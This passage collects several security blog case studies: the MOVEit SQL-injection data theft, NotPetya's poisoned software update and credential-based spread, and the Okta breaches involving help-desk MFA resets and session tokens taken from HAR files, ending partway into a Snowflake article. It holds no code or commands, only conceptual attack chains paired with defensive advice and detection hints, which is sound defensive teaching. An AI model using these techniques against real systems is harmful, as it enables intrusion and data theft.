supply-chain, extortion, case-study - Related: [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [The Capital One Breach: SSRF, Metadata Credentials, 100 Million Records](https://blog.pwnsy.com/capital-one-breach-explained), [Change Healthcare: One Citrix Login and a National Outage](https://blog.pwnsy.com/change-healthcare-attack-explained) ### TL;DR - A pre-authentication SQL injection in the MOVEit Transfer web application, CVE-2023-34362, let attackers reach the database, escalate, and install a web shell. - The web shell, tracked as LEMURLOOT and first seen as human2.aspx, stole the credentials the product used for its own storage and exfiltrated files. - Nothing was encrypted. The extortion was purely about stolen data, which removes the recovery lever that backups provide. - Most victims never ran MOVEit. They were customers of organisations that did, which is why the count kept growing for two years after the event. ### Key Takeaways - Managed file transfer products concentrate data by design, sit on the internet by necessity, and hold credentials to the storage behind them, which is why one bug in one product produced thousands of victims. - Cl0p had done this before, against other file transfer products, which makes the product category a predictable target rather than a coincidence. - Exploitation began over a holiday weekend, before the vendor advisory, which is the standard timing for this operator. - Extortion without encryption defeats backup-based recovery entirely: your data is intact and also in someone else's hands. - Your breach notification obligations follow your data, not your software, so an organisation that never installed MOVEit still had to notify. - Victim and record counts published in trackers kept rising for two years, so any figure needs the date it was measured attached to it. ### FAQ **Q: What was the MOVEit vulnerability?** CVE-2023-34362, a SQL injection flaw in the web application of Progress Software's MOVEit Transfer, a managed file transfer product. It required no authentication. An attacker could reach the underlying database, infer its structure, and execute statements, which they used to escalate to installing a web shell on the server. **Q: When did it happen?** Exploitation was observed from around 27 May 2023, over the US Memorial Day weekend. Progress published its advisory on 31 May 2023, CISA added the CVE to the Known Exploited Vulnerabilities catalogue on 2 June, and CISA and the FBI published a joint advisory on 7 June. Two further vulnerabilities in the same product, CVE-2023-35036 and CVE-2023-35708, were disclosed in the weeks that followed. **Q: What is LEMURLOOT?** The web shell deployed after exploitation, initially observed as a file named human2.aspx to blend in with the legitimate human.aspx in MOVEit Transfer. It authenticated requests with a generated password, enumerated files and users in the MOVEit database, and could retrieve the Azure Storage credentials the product used, which enabled bulk exfiltration. **Q: Was data encrypted or held to ransom?** No files were encrypted. This was data theft followed by extortion: the group published victim names on a leak site and demanded payment to avoid publication. That model is harder to recover from than encryption, because functioning backups restore availability and do nothing about a copy of your data sitting in someone else's possession. **Q: Why were so many organisations affected that never used MOVEit?** Because their data was inside somebody else's MOVEit instance. Payroll processors, benefits administrators, pension providers, government contractors and universities used the product to move files containing data about employees, customers, patients and citizens. A single compromised instance at a service provider exposed records belonging to hundreds of downstream organisations. **Q: How many people were affected?** Counts grew for years as organisations completed their own notifications, and published trackers eventually recorded thousands of organisations and tens of millions of individuals. Any specific figure is a snapshot: it depends on when it was compiled and on which downstream notifications had been filed by then, so a number without a date should not be repeated. Most large breaches involve one organisation losing its own data. MOVEit is the case where thousands of organisations lost data they had entrusted to somebody else, through a product most of the affected people had never heard of. The vulnerability itself is unremarkable: a SQL injection in a web application, requiring no authentication. What made it one of the largest data theft events on record is where that web application sat. Managed file transfer products exist to move sensitive files between organisations, which means they concentrate exactly the data worth stealing, they must be reachable from the internet to do their job, and they hold credentials for the storage behind them. One bug in one product, and the consequences propagated outward through every organisation that had ever sent files through an affected instance. Facts here come from the joint CISA and FBI advisory, Progress Software's own advisory, and the NVD entry. ## Timeline | Date | Event | |---|---| | Around 27 May 2023 | Exploitation observed, over the US Memorial Day weekend | | 31 May 2023 | Progress Software publishes an advisory and patches | | 2 June 2023 | CISA adds CVE-2023-34362 to the Known Exploited Vulnerabilities catalogue | | 7 June 2023 | CISA and the FBI publish joint advisory AA23-158A | | June 2023 | The group begins naming victims on its leak site. Two further MOVEit vulnerabilities are disclosed | | 2023 to 2025 | Downstream notifications continue as organisations identify whose data was in affected instances | The holiday weekend timing is a pattern rather than a coincidence: it maximises the gap before anyone notices, and this operator has used it repeatedly. ## The mechanism **Step one: SQL injection, unauthenticated.** The MOVEit Transfer web application contained a SQL injection flaw reachable without logging in. Depending on the database engine behind it, an attacker could infer the structure and contents of the database and execute statements against it. **Step two: escalate to code execution.** Database access was used to create a privileged application session and to write to the server, which is the step that turns a data-layer flaw into control of the host. **Step three: install the web shell.** The payload, tracked as LEMURLOOT, was first seen as `human2.aspx`, named to sit alongside the product's legitimate `human.aspx`. It generated a random password and required it in a request header, so casual scanning of the endpoint returned nothing interesting. **Step four: take the storage credentials.** The web shell could enumerate files, folders and users in the MOVEit database, and retrieve the Azure Storage credentials the product itself used. That is the detail that made mass exfiltration efficient: rather than pulling files one at a time through the application, the attackers could use the product's own credentials against the storage behind it. **Step five: exfiltrate, then extort.** Files were taken. Nothing was encrypted. Victim names appeared on a leak site with a deadline, and payment was demanded to prevent publication. [SQL Injection Explained](/sql-injection-explained) covers the underlying class, and the sequence here is a good demonstration that SQL injection is rarely just about reading a table. ## Why the blast radius was that large Three properties compounded. **The product concentrates sensitive data.** Managed file transfer exists precisely to move payroll files, medical records, claims data, student records and benefits information between organisations. A compromised instance is not a compromised web server; it is an archive of everything routed through it. **It has to be internet-facing.** External partners must reach it. That is the function. **It holds credentials to the storage behind it.** Compromising the application yields the keys to the repository, which is a much larger prize than the application itself. Add the fourth-party effect and the numbers explain themselves. A pension administrator runs MOVEit and serves 400 employers. A payroll processor runs it and serves thousands of businesses. A government contractor runs it on behalf of an agency. The people whose data was taken had no relationship with Progress Software, no way to know the product existed, and no ability to influence whether it was patched. ## Extortion without encryption This is the strategic shift worth internalising, and it changes the defensive calculus. Encryption-based ransomware attacks availability. The counter is recovery: immutable backups, tested restores, and the discipline in [3-2-1 Backup Strategy](/3-2-1-backup-strategy-guide). An organisation that can restore can refuse to pay. Theft-based extortion attacks confidentiality, and there is no equivalent counter. Your systems are running, your data is intact, and a copy is in somebody else's hands. Paying buys a promise to delete, from people whose business model is built on holding data hostage. Not paying means publication. The controls that actually reduce this exposure sit upstream of the incident: - **Hold less data, and delete it on schedule.** Data that was purged when it stopped being needed cannot be stolen from a file transfer product two years later. - **Encrypt files before they enter a transfer system**, so the product moves ciphertext it cannot read. This is the single most effective control for this exact scenario and it is rarely implemented, because it breaks the convenience the product was bought for. - **Minimise what goes into transfers.** Fields nobody needs downstream should not be in the file. - **Retention on the transfer platform itself.** Files that should have been deleted after delivery were still sitting in instances months later. [What Is DLP](/what-is-dlp) covers monitoring where data goes, and the deeper point is that the exposure was created before the vulnerability existed, by decisions about what data was collected and how long it was kept. ## The product category is the pattern This operator had already run the same play. Managed file transfer products have been targeted repeatedly, with the same shape each time: a pre-authentication flaw in an internet-facing appliance holding concentrated data, exploited at scale over a holiday period, followed by mass extortion. That makes the category predictable, which is useful. If you run a managed file transfer product, or a VPN appliance, or an email security gateway, or any other internet-facing appliance that concentrates data or access, you are running something in a class that is systematically hunted for pre-auth vulnerabilities. Practical consequences: - **Treat appliance patching as an emergency process**, measured in hours after a vendor advisory rather than in the next maintenance window. - **Subscribe to the vendor's security advisories directly** rather than waiting for the news. - **Reduce exposure where you can.** IP allowlisting for partner access, a reverse proxy with authentication in front, or moving the service off the public internet entirely. - **Watch for the file-system artefacts.** New `.aspx` files in web directories, unexpected child processes from the web application, and outbound transfers to unfamiliar destinations are the detections that fire here, and they are covered generally in [Threat Hunting Guide](/threat-hunting-guide). - **Segment the appliance**, so compromising it does not also yield the internal network, per [Network Segmentation Guide](/network-segmentation-guide). ## The notification problem For organisations that never ran the product, the incident arrived as a phone call from a supplier saying data about their employees or customers had been taken. That creates obligations regardless of who ran the software. Breach notification duties follow the data and the relationship with the individual, not the ownership of the server. Organisations spent months answering questions they could not answer without help: which of our records were in that instance, whose data was in them, and when. The preparation that pays off here is knowing where your data goes. A supplier inventory that records which third parties hold what data, and a contractual requirement that they notify you promptly, turns an unanswerable question into a lookup. [What to Do After a Data Breach](/what-to-do-after-data-breach) covers the response from the individual's side. ## What generalises 1. **Internet-facing appliances that concentrate data are a target class.** Patch them on a different clock from everything else. 2. **Your exposure includes your suppliers' software**, and their suppliers' software, and you will not be consulted about any of it. 3. **Data theft extortion has no recovery lever.** The mitigations are data minimisation, retention and encrypting before transfer. 4. **A vendor's own storage credentials inside a compromised product** are usually the real prize, which is an argument for scoping those credentials tightly. 5. **Numbers move for years.** Any victim or record count is a snapshot with a date on it. ## Related guides - [SQL Injection Explained](/sql-injection-explained) - [Ransomware as a Service Explained](/ransomware-as-a-service-explained) - [The Kaseya VSA Attack](/kaseya-vsa-attack-explained) - [3-2-1 Backup Strategy](/3-2-1-backup-strategy-guide) - [What Is DLP](/what-is-dlp) - [What to Do After a Data Breach](/what-to-do-after-data-breach) ### Sources - AA23-158A: CL0P Ransomware Gang Exploits CVE-2023-34362 MOVEit Vulnerability (CISA and FBI): https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-158a - MOVEit Transfer Critical Vulnerability (31 May 2023) (Progress Software): https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023 - CVE-2023-34362 detail (NIST National Vulnerability Database): https://nvd.nist.gov/vuln/detail/CVE-2023-34362 - CISA Adds One Known Exploited Vulnerability to Catalog (2 June 2023) (CISA): https://www.cisa.gov/news-events/alerts/2023/06/02/cisa-adds-one-known-exploited-vulnerability-catalog - #StopRansomware Guide (CISA): https://www.cisa.gov/resources-tools/resources/stopransomware-guide --- ## NotPetya: A Wiper Dressed as Ransomware, Delivered by an Update > How NotPetya worked on 27 June 2017: a compromised Ukrainian tax software update, EternalBlue plus stolen credentials, destruction with no possible recovery, and the Maersk rebuild. - URL: https://blog.pwnsy.com/notpetya-explained - Date: 2026-08-25 - Updated: 2026-08-25 - Difficulty: intermediate - Category: threat-intel - Tags: notpetya, wiper, supply-chain, incident-analysis, case-study - Related: [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [The Capital One Breach: SSRF, Metadata Credentials, 100 Million Records](https://blog.pwnsy.com/capital-one-breach-explained), [Change Healthcare: One Citrix Login and a National Outage](https://blog.pwnsy.com/change-healthcare-attack-explained) ### TL;DR - NotPetya arrived through a compromised update to M.E.Doc, Ukrainian tax accounting software, so the initial entry was legitimate software updating itself. - It spread using EternalBlue and EternalRomance against unpatched machines, and by stealing credentials from memory and using them with built-in administrative tools against patched ones. - It presented a ransom note and could not decrypt anything. The identifier shown to victims was random, so no key could be issued even in principle. - Damage estimates run past 10 billion dollars, and the US, UK, Australian and Danish governments attributed it to the Russian military. ### Key Takeaways - Patching alone did not save anyone here. Machines with MS17-010 applied were still taken by stolen credentials used through legitimate administrative tooling. - A single account with local administrator rights across the estate is what turned an infection into a total loss, which is the case for unique local passwords and tiering. - The ransom interface was theatre. Treating a destructive event as recoverable by payment cost victims time in the first hours. - The Maersk recovery worked because one domain controller in Ghana had been offline during the attack, which is an accidental air gap rather than a designed one. - Collateral damage crossed borders immediately: a targeted attack on Ukrainian software reached global shipping, pharmaceuticals and logistics within hours. - The insurance aftermath, where insurers invoked act-of-war exclusions, changed how cyber policies are written and is now part of the risk calculation. ### FAQ **Q: What was NotPetya?** Destructive malware released on 27 June 2017 that presented itself as ransomware. It encrypted files and overwrote the master boot record, displaying a payment demand, while lacking any mechanism to restore data. It spread from a compromised update to M.E.Doc, tax accounting software widely used in Ukraine, and then propagated inside networks on its own. **Q: Why is it called NotPetya?** Because it reused code and presentation from an earlier ransomware family called Petya, so initial reports identified it as that. Analysis quickly showed the encryption was not reversible and the payment path was non-functional, making it a wiper wearing the appearance of ransomware, and the name stuck to mark the difference. **Q: How did it spread if machines were patched?** Through two paths. Unpatched machines fell to the EternalBlue and EternalRomance exploits against SMB. Patched machines fell to credential theft: the malware harvested credentials from memory on an infected host and used them with legitimate administrative tools such as PsExec and WMI to execute on other machines. Those tools are working as designed when given valid administrative credentials, so a fully patched estate with a shared local administrator account was still taken. **Q: Could victims recover by paying?** No. The installation identifier displayed to victims was random data rather than an encoding of the key, so there was no way for the operators to determine which key belonged to which victim even if they had wanted to help. The single email address for contact was disabled by its provider within hours. Recovery came from backups and rebuilds. **Q: What happened to Maersk?** The shipping company's IT estate was destroyed, with around 45,000 PCs and 4,000 servers rendered unusable, and terminals worldwide disrupted. Recovery required rebuilding the domain from a copy of Active Directory found on a domain controller in Ghana that had been offline during the attack because of a power outage. The rebuild took roughly ten days and the company reported direct losses of around 300 million dollars. **Q: Who was responsible?** The US, UK, Australian and Danish governments publicly attributed the attack to the Russian military in February 2018. Attribution of this kind is a government assessment rather than an independently verifiable technical fact, and it is reported here as the claim that it is. Six weeks after WannaCry, something that looked like the same thing happened again, and it was a different kind of event entirely. NotPetya displayed a ransom note, asked for Bitcoin, and could not give anything back. There was no decryption, no key management, and no functioning way to contact the operators. The encryption was destruction with a payment screen attached, which is why the first hours were spent on the wrong problem: organisations treated a total loss as a recoverable ransomware incident. It also demonstrated that patching, on its own, was not enough. Machines with MS17-010 applied were still destroyed, because the malware carried a second method that needed no vulnerability at all. ## Timeline | Date | Event | |---|---| | Before June 2017 | Attackers compromise the update mechanism of M.E.Doc, Ukrainian tax accounting software | | 27 June 2017 | A malicious update is distributed. Infections begin in Ukraine and spread through connected networks worldwide within hours | | 27 June 2017 | The contact email address in the ransom note is disabled by its provider, removing any payment path | | 28 June 2017 onward | Analysis establishes that recovery by payment is impossible by design | | July 2017 onward | Maersk, Merck, FedEx's TNT Express, Mondelez, Reckitt and others disclose material losses | | 15 February 2018 | The US, UK, Australia and Denmark attribute the attack to the Russian military | | 2018 to 2024 | Insurance litigation over act-of-war exclusions, ending in settlements | ## Delivery: a legitimate update The initial vector was the update mechanism for M.E.Doc, accounting software required in practice for filing tax in Ukraine. Attackers compromised the update infrastructure and pushed malware through it. Every property that makes an update channel work made this effective. The software was expected to update itself. The update came from the vendor's own servers. Any organisation doing business in Ukraine, including the local subsidiaries of multinationals, was likely running it. That last point is what made a regional attack global within hours. A Ukrainian office of a shipping company or a pharmaceutical firm was connected to the corporate network like any other office. The malware did not need to cross borders itself; the corporate WAN was already there. This is the same structural lesson as [SolarWinds and SUNBURST](/solarwinds-sunburst-explained), reached faster and with a blunter payload: the update channel is a trusted path into everything that trusts it. ## Propagation: two methods, one of them unpatchable **Exploits.** EternalBlue and EternalRomance against SMB, the same family used by [WannaCry](/wannacry-explained). Unpatched machines fell immediately. **Stolen credentials.** This is the part that made patching insufficient. On an infected machine, the malware extracted credentials from memory, then used them against other machines with legitimate administrative tooling: PsExec and WMI, both standard Windows administration mechanisms. Nothing about that second path is a vulnerability. A valid administrative credential used through a supported remote execution tool is administration. No patch prevents it, no exploit mitigation applies, and the tooling behaves exactly as designed. [Pass the Hash Explained](/pass-the-hash-explained) and [Living Off the Land Explained](/living-off-the-land-explained) cover the two halves. The consequence is the practical lesson of this incident: **an estate where one account has local administrator rights on every machine is one credential away from total loss.** If that account's credential is in memory anywhere, it is available to anything that gets on that host. Unique per-machine local administrator passwords, which Windows LAPS now provides natively, break the chain. So does the tiering model in [Privileged Access Management Explained](/privileged-access-management-explained), which stops administrative credentials from being present on ordinary workstations in the first place. ## Destruction, not extortion Several details establish that recovery was never on offer. The identifier shown to victims, which in real ransomware encodes information needed to derive their key, was random data. There was no mapping from a victim to a key, so even a cooperative operator could not have decrypted anything. Payment ran through a single Bitcoin address and a single email address for contact, which the email provider disabled within hours. Real ransomware operations run infrastructure precisely because the business depends on victims believing payment works. And the master boot record was overwritten, so machines did not boot. Files were also encrypted, and the boot damage alone made a host unusable. The operational lesson is diagnostic. **Establish early whether an event is recoverable by payment**, because the answer changes the entire response. In the first hours, organisations negotiated, prepared payment and waited, when the correct move was to declare a destructive incident and start rebuilding. ## The Maersk rebuild The shipping company's experience is the most detailed public account of recovery from a destructive incident at scale. Around 45,000 PCs and 4,000 servers were rendered unusable. Terminals around the world could not process cargo. Rebuilding the environment required Active Directory, and every domain controller had been destroyed, which normally means the identity infrastructure cannot be reconstructed at all. One domain controller in Ghana had been offline during the attack because of a local power outage. That machine held an intact copy of the directory, and it became the seed for the entire rebuild. The recovery took roughly ten days for core systems, and the company reported direct losses of around 300 million dollars. Two things follow from that, and the first is the uncomfortable one. **The recovery depended on an accident.** No plan called for an offline domain controller in Ghana; a power cut created one. Every organisation should ask what its answer would have been without that luck. **Identity is the recovery dependency nobody plans for.** Restoring file servers is straightforward when there is a directory to authenticate against. With every domain controller destroyed, the restore procedure for everything else has no foundation. An offline, tested copy of the directory belongs in the recovery plan alongside data backups, which is the argument made in [3-2-1 Backup Strategy](/3-2-1-backup-strategy-guide). ## The insurance aftermath Several victims claimed under property and cyber policies, and insurers denied claims citing exclusions for hostile or warlike acts by a government or sovereign power, pointing to the state attribution. The litigation ran for years and ended in settlements rather than a definitive ruling in the largest cases. The lasting effect was on the market: cyber policies were rewritten with more specific war and state-actor language, and organisations now have to read those clauses carefully rather than assume that a state-attributed attack is covered. For risk planning, the point is narrow and important: **attribution can affect whether your insurance responds**, and that is a question to settle with your broker before an incident rather than during one. ## What generalises 1. **A trusted update channel reaches everything that trusts it**, including through a small regional subsidiary into a global network. 2. **Patching is necessary and not sufficient.** Credential theft plus built-in administration tools needs no vulnerability. 3. **Shared local administrator credentials are the amplifier.** Unique per-machine passwords and tiering remove the path. 4. **Determine recoverability early.** A destructive event dressed as ransomware wastes the first hours if you take the note at face value. 5. **Plan for rebuilding identity**, because restoring data onto an environment with no directory is not a recovery. 6. **Read the war exclusion in your cyber policy.** ## The verdict NotPetya was a destructive operation using the mechanics of ransomware as camouflage, delivered through a legitimate software update, and it reached organisations that had never heard of the software involved because they had an office in the country where it was used. Its most useful lesson is the one about credentials. The victims who were fully patched still lost their estates, because a single administrative credential in memory and a standard Windows remote execution tool were enough. That path is still open in most organisations today. ## Related guides - [WannaCry Explained](/wannacry-explained) - [What Is a Wiper](/what-is-a-wiper) - [Pass the Hash Explained](/pass-the-hash-explained) - [Privileged Access Management Explained](/privileged-access-management-explained) - [3-2-1 Backup Strategy](/3-2-1-backup-strategy-guide) ### Sources - Statement from the Press Secretary on the NotPetya attack (The White House): https://trumpwhitehouse.archives.gov/briefings-statements/statement-press-secretary-25/ - Russian military 'almost certainly' responsible for destructive 2017 cyber attack (UK National Cyber Security Centre): https://www.ncsc.gov.uk/news/russian-military-almost-certainly-responsible-destructive-2017-cyber-attack - Petya Ransomware alert (CISA): https://www.cisa.gov/news-events/alerts/2017/07/01/petya-ransomware - MS17-010: Security Update for Microsoft Windows SMB Server (Microsoft): https://learn.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010 - New ransomware, old techniques: Petya adds worm capabilities (Microsoft): https://www.microsoft.com/en-us/security/blog/2017/06/27/new-ransomware-old-techniques-petya-adds-worm-capabilities/ - Local Administrator Password Solution (LAPS) overview (Microsoft): https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-overview --- ## The Okta Breaches: Session Tokens, HAR Files and a Support System > Three Okta incidents and what each one teaches: the 2022 third-party support laptop, the 2023 help desk social engineering, and the support case system breach where HAR files carried live session tokens. - URL: https://blog.pwnsy.com/okta-breaches-explained - Date: 2026-08-25 - Updated: 2026-08-25 - Difficulty: intermediate - Category: threat-intel - Tags: okta, incident-analysis, identity-provider, session-hijacking, case-study - Related: [AitM Phishing Explained: How Reverse-Proxy Kits Bypass MFA](https://blog.pwnsy.com/aitm-phishing-explained), [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [Browser Hardening Guide: Extensions, Settings and Session Theft](https://blog.pwnsy.com/browser-hardening-guide) ### TL;DR - Okta has had three distinct incidents worth studying, and none of them involved breaking the authentication product itself. - January 2022: a support engineer's laptop at a third-party support provider. Okta initially described 366 potentially impacted customers and later concluded two were actually affected. - August and September 2023: attackers called IT service desks and persuaded staff to reset multi-factor authentication for privileged accounts. - September to October 2023: an attacker reached the customer support case system using a service account credential that had been saved into an employee's personal Google profile in Chrome on a managed laptop. Support tickets contained HAR files with live session tokens. ### Key Takeaways - An identity provider is tier zero for every customer that uses it, so its support system, its vendors and its help desk are all part of your attack surface. - A HAR file is a full recording of a browser session including cookies and authorization headers. Uploading one to a support ticket hands over a working session unless it is sanitised first. - Session tokens defeat multi-factor authentication because the authentication already happened. Binding administrative sessions to a network location or a device is the control that answers it. - The 2023 root cause was a service account credential saved into a personal browser profile on a managed device, which is a synchronisation path most policies never consider. - Help desk identity verification is a security control. If a phone call can reset MFA on a privileged account, the strength of the factor no longer matters. - Reported impact figures moved substantially after initial disclosure in two of these incidents, which is normal and is why numbers need dates attached. ### FAQ **Q: Was Okta's authentication product broken in these incidents?** No. In each case the attacker reached a system around the product: a third-party support provider's laptop, customer IT service desks, and Okta's own customer support case management system. That distinction matters because it means the lesson is about the operational surface surrounding an identity provider rather than about cryptographic or protocol weakness in single sign-on. **Q: What happened in the October 2023 Okta support system breach?** Okta reported that between 28 September and 17 October 2023 an attacker accessed files in its customer support case management system relating to 134 of its customers. The credential used was for a service account that had been saved into an employee's personal Google profile while they were signed into Chrome on an Okta-managed laptop. Some of the accessed files were HAR files containing session tokens, which the attacker used to hijack sessions for five customers. 1Password, BeyondTrust and Cloudflare publicly described their own detection of the activity. **Q: What is a HAR file and why is it dangerous?** An HTTP Archive file is a recording of everything a browser sent and received during a session, produced from developer tools. Support teams ask for them because they show exactly what went wrong. They also capture cookies, authorization headers and bearer tokens, so an unsanitised HAR file is a working copy of the user's authenticated session. Anyone who obtains it can replay that session without a password or a second factor. **Q: How did attackers reset MFA by calling a help desk?** By impersonating an employee convincingly enough to pass identity verification, then asking for a multi-factor reset or enrolment of a new device. Okta published an advisory in 2023 describing social engineering against customer IT service desks aimed at highly privileged accounts. Once a new factor is enrolled on an attacker's device, the account is theirs and every downstream application trusts the resulting session. **Q: What did the January 2022 incident involve?** Access to a laptop belonging to a support engineer at a third-party provider that delivered support services for Okta, over a period in January 2022. The activity became public in March 2022 when the group posted screenshots. Okta's initial assessment described up to 366 customers as potentially impacted, and its later analysis concluded that two customers were actually affected. **Q: What should a customer of any identity provider do about this?** Sanitise HAR files and diagnostic bundles before sending them to any vendor. Enable session binding and shorter session lifetimes for administrative accounts. Require strong identity verification for help desk MFA resets, ideally with a callback or manager approval for privileged accounts. Monitor for administrative sessions from unfamiliar locations. And keep break-glass accounts that do not depend on the provider being healthy or trustworthy. An identity provider sits underneath everything. It decides who a person is for every application behind it, so compromising it is a shortcut past every access control those applications have. That makes the company running it a permanent, high-value target, and it makes their operational surface part of yours. Okta has had three distinct incidents that are worth studying together, because in none of them did anyone break single sign-on. The attackers went around it: through a vendor's laptop, through customer help desks, and through the support ticket system. The lessons are about the surfaces surrounding an identity provider rather than about the protocol. Facts here come from Okta's own security advisories, from the published investigations of affected customers who detected the activity independently, and from the US Cyber Safety Review Board's review of the group involved in the 2022 case. ## Three incidents | Period | Route | Reported impact | |---|---|---| | January 2022 | A support engineer's laptop at a third-party support provider | Initially described as up to 366 customers potentially impacted; later analysis concluded two were affected | | August and September 2023 | Social engineering of customer IT service desks to reset MFA on privileged accounts | Multiple customers, described in an Okta advisory | | 28 September to 17 October 2023 | Okta's customer support case management system, via a service account credential | 134 customers' files accessed; sessions hijacked for five | ## January 2022: the vendor's laptop Attackers obtained access to a laptop belonging to a support engineer working at a third-party company providing support services for Okta. The incident became public in March 2022 when the group posted screenshots of internal tooling. Two things make this instructive. **The access was a support engineer's.** Support tooling frequently carries powerful capability, including resetting passwords and factors for customer accounts, because that is what support does. The account that can help a locked-out administrator is an account that can impersonate one. **The company was a subcontractor.** Customers assessed Okta. Okta's assessment of its own support provider was between Okta and that provider, and it sat on the same path to customer data. Third-party risk is transitive and most vendor questionnaires stop at the first hop. The disclosure itself became part of the story: the gap between the January access and the March public statement drew criticism, and the practical lesson for customers is that you may learn about a provider incident from a screenshot before you learn about it from the provider. ## 2023: calling the help desk In 2023 Okta published an advisory describing a different technique aimed at its customers rather than at Okta. Attackers contacted IT service desks and persuaded staff to reset multi-factor authentication for highly privileged accounts, then enrolled their own factor. This bypasses the entire authentication stack. It does not matter whether the account used a hardware key, because the help desk removed it and let a new one be enrolled. The strength of the factor is irrelevant when the reset path is a phone call. The controls that answer it are procedural: - **Strong identity verification before any factor reset**, particularly for privileged accounts. A callback to a known number, a video verification against a record, a manager confirmation, or an in-person check. - **A different, harder path for privileged accounts** than for ordinary users. - **Alerting on factor resets** for anything in an administrative role, treated as a security event rather than a ticket. - **Making it acceptable to say no.** Help desk staff are measured on resolution speed and trained to be helpful, and the attacker is exploiting exactly that. The policy has to make refusing an unverified request the safe choice for the person on the phone. [Social Engineering Playbook](/social-engineering-playbook) covers the persuasion mechanics, and [Privileged Access Management Explained](/privileged-access-management-explained) covers the standard privileged accounts should be held to. ## October 2023: HAR files in support tickets This is the incident with the most transferable technical lesson. **The root cause.** An Okta employee signed into their personal Google profile in Chrome on an Okta-managed laptop. The credentials for a service account used with the customer support system were saved into that personal profile, which meant they synchronised out to a personal Google account. The attacker obtained them and used the service account to access the support case management system between 28 September and 17 October 2023. That path deserves attention because most device policies do not consider it. The laptop was managed. The credential was for a corporate service account. The synchronisation to a personal account happened through an ordinary browser feature working exactly as designed, and it moved a corporate secret outside every control the company had. Okta's remediation included blocking personal Google profiles in Chrome on managed devices, which is the direct answer. [Browser Hardening Guide](/browser-hardening-guide) covers profile separation as a general practice. **What was in the tickets.** Support cases contained HAR files. An HTTP Archive is a complete recording of a browser session, generated from developer tools, capturing every request and response including headers. Support engineers ask for them because they show precisely what a browser did. They also capture cookies, authorization headers and bearer tokens. An unsanitised HAR file from an authenticated session is a working copy of that session. **What that enabled.** The attacker used session tokens from those files to hijack sessions for five customers. Multi-factor authentication provided no protection, because the authentication had already happened before the recording was made. This is the mechanism in [Session Hijacking Explained](/session-hijacking-explained), delivered through a support process. **How it was found.** Several customers detected the activity in their own environments and reported it. 1Password, BeyondTrust and Cloudflare each published accounts of noticing anomalous administrative activity. That detail is the most encouraging part of the case: customers monitoring their own identity provider tenants caught something before the provider's own investigation concluded. **The impact figure moved.** The initially reported number was 134 customers, under 1% of Okta's customer base. A later review disclosed that the actor had also run and downloaded a report containing names and email addresses of users of the customer support system, a considerably wider set. Revision after initial disclosure is normal in incident response, and it is why a number without a date is not a fact worth repeating. ## What customers should take from this The recurring theme is that an identity provider's non-authentication surfaces are part of your security posture. **Sanitise diagnostic files before sending them anywhere.** HAR files, browser traces, memory dumps and log bundles routinely contain live credentials and tokens. Browser developer tools and standalone sanitisers can strip cookies and authorization headers. Make it a documented step in your own support process, for every vendor. **Shorten and bind administrative sessions.** Session lifetime for privileged accounts should be short, and sessions should be bound to a network location or device where the provider supports it. Okta's own remediation included binding administrator session tokens to network location, which makes a stolen token useless elsewhere. **Monitor your own tenant.** The customers who caught this were watching administrative activity in their identity provider and noticed sessions that did not fit. Feed identity provider logs into a place decisions are made, as in [What Is a SIEM](/what-is-a-siem), and alert on administrative sessions from new locations, new factor enrolments, and changes to authentication policy. **Harden the help desk path**, because it is the reset that undoes every factor. **Assume vendor incidents reach you late and incomplete.** Have break-glass accounts that do not depend on the provider, know how to revoke sessions in bulk, and rehearse the case where the identity provider itself is the thing you cannot trust. **Ask vendors about their subcontractors.** The 2022 incident happened at a company most customers had never assessed. ## The verdict None of these incidents broke single sign-on. They went through a subcontractor's laptop, through help desks, and through a support ticket queue, and the last one turned an ordinary troubleshooting artefact into a set of working sessions. The practical response is narrow enough to act on this week: sanitise HAR files before you send them, bind and shorten administrative sessions, put a hard identity check in front of any factor reset for a privileged account, and watch your own tenant closely enough to notice a session that should not exist. ## Related guides - [Session Hijacking Explained](/session-hijacking-explained) - [Privileged Access Management Explained](/privileged-access-management-explained) - [Zero Trust Architecture Explained](/zero-trust-architecture-explained) - [Social Engineering Playbook](/social-engineering-playbook) - [MGM and Caesars](/mgm-caesars-attack-explained) - [Browser Hardening Guide](/browser-hardening-guide) ### Sources - Okta security incident updates and advisories (Okta): https://sec.okta.com/ - Unauthorized Access to Okta's Support Case Management System (Okta): https://sec.okta.com/harfiles - Cloudflare's investigation of the October 2023 Okta compromise (Cloudflare): https://blog.cloudflare.com/how-cloudflare-mitigated-yet-another-okta-compromise/ - October 2023 Okta incident report (1Password): https://blog.1password.com/okta-incident/ - Review of the Attacks Associated with Lapsus$ and Related Threat Groups (US Cyber Safety Review Board): https://www.cisa.gov/resources-tools/resources/review-attacks-associated-lapsus-and-related-threat-groups-report - OWASP Session Management Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html --- ## The Snowflake Customer Breaches: Stolen Logins, No MFA, at Scale > How the 2024 campaign against Snowflake customer instances worked: infostealer credentials, some years old, against accounts with no MFA and no network allowlist, and why this was not a breach of Snowflake. - URL: https://blog.pwnsy.com/snowflake-breaches-explained - Date: 2026-08-25 - Updated: 2026-08-25 - Difficulty: intermediate - Category: threat-intel - Tags: snowflake, infostealer, cloud-security, extortion, case-study - Related: [Terraform Security Checklist: 12 Settings Behind Cloud Breaches](https://blog.pwnsy.com/terraform-security-checklist), [ClickFix Attacks Explained: The Fake CAPTCHA That Runs Malware](https://blog.pwnsy.com/clickfix-attacks-explained), [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained) ### TL;DR - The attacker signed in with valid usernames and passwords taken from infostealer malware, some of them years old and never rotated. - The affected customer accounts had no multi-factor authentication and no network allowlist, so a password was the entire control. - Mandiant and Snowflake notified approximately 165 potentially exposed organisations. The platform itself was not compromised. - It is the clearest available demonstration of the cloud shared responsibility line: the provider secured the platform, and the authentication settings on each customer's tenant were the customer's to set. ### Key Takeaways - Credentials stolen by infostealer malware from personal or contractor machines stay valid until somebody rotates them, and in this campaign some had been valid since 2020. - Service and machine accounts are where MFA gets skipped, and they usually hold the broadest data access in a warehouse. - A 